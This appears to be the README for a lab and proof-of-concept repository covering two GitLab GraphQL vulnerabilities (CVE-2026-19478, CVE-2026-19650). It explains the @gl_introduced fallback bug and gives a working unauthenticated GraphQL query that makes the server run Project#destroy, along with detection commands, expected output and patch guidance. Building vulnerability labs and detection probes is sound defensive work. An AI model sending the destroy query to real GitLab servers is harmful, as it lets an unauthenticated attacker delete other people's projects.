
Reproducible A/B lab + safe PoC for GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced unauthenticated arbitrary-method-invocation (validation lab + PoC)Reproducible A/B lab and safe PoC for CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critical). An unauthenticated attacker can invoke arbitrary 0-argument Ruby methods on GraphQL-resolved domain objects — e.g. call
Project#destroyto delete a public project without credentials.Also bundles a PoC for the sibling CVE-2026-19650 (GraphQL multiplex query-swap) fixed in the same release.
For authorized security testing / education only. Everything runs against your own local containers.
GitLab ships a GraphQL client directive @gl_introduced(version: "X.Y.Z") (forward-compatibility for
rolling deploys). When a query names a field with a version newer than the running server, a tracer
(Gitlab::Graphql::VersionFilter::IntroducedTracer) strips it before static validation so the query
validates, then re-runs the original document at execution and lets unknown fields resolve to a fallback.
The bug is in the fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pre-patch):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
A GraphQL::Schema::Field with no resolver is resolved by graphql-ruby by calling
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — the
respond_to?(@method_sym) → public_send branch runs before fallback_value is ever consulted, so
fallback_value: nil was dead code). Therefore, under @gl_introduced, the client chooses a field name
equal to any 0-arg method on the currently-resolved object, and the server invokes it.
Resolve a public project, request a "future field" named destroy → the server runs Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver that returns nil and never calls a method.@gl_introduced(version:) must be greater than the server version (use 99.0.0).to_param, destroy).id) or the filtered document is an empty
selection set and GitLab returns a "Field must have selections" validation error.Requirements: Docker + docker compose, ~8 GB RAM free, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh prints, per instance: the base URL, the seeded public project path (root/pub), and an admin PAT.
Uses the method-call primitive with a harmless method (to_param). No data is changed.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Expected:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. on the patched instance:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Creates its own disposable public project via the REST API (needs the admin token from setup.sh),
then deletes it through the unauthenticated GraphQL attack, and confirms the project is gone.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Expected (vulnerable):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
On the patched instance the same run reports the project still returns 200 OK and destroy is null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Point --url at any GitLab you are authorized to test, and --project at a public project on it:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
Detection is non-destructive. Do not use --prove-destroy against anything you don't own.
Upgrade to 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 or later. The fix routes the fallback through
Resolvers::NilResolver (returns nil, never invokes an object method). If you cannot upgrade
immediately, block the @gl_introduced directive / the version-filter path at a proxy, or restrict
unauthenticated GraphQL access.
| File | Purpose |
|---|---|
docker-compose.yml | Boots vulnerable 19.2.2-ce (:8222) + patched 19.2.4-ce (:8224) |
setup.sh | Waits for readiness, seeds root/pub public project + admin token per instance |
poc_cve_2026_19478.py | Detection (safe) + optional --prove-destroy impact proof |
poc_cve_2026_19650.py | Multiplex query-swap detection (safe) |
--prove-destroy creates and deletes its own throwaway project; it never touches root/pub or your data.e283c6adeb3d (fallback) and d2ea4b971a98 (multiplex swap).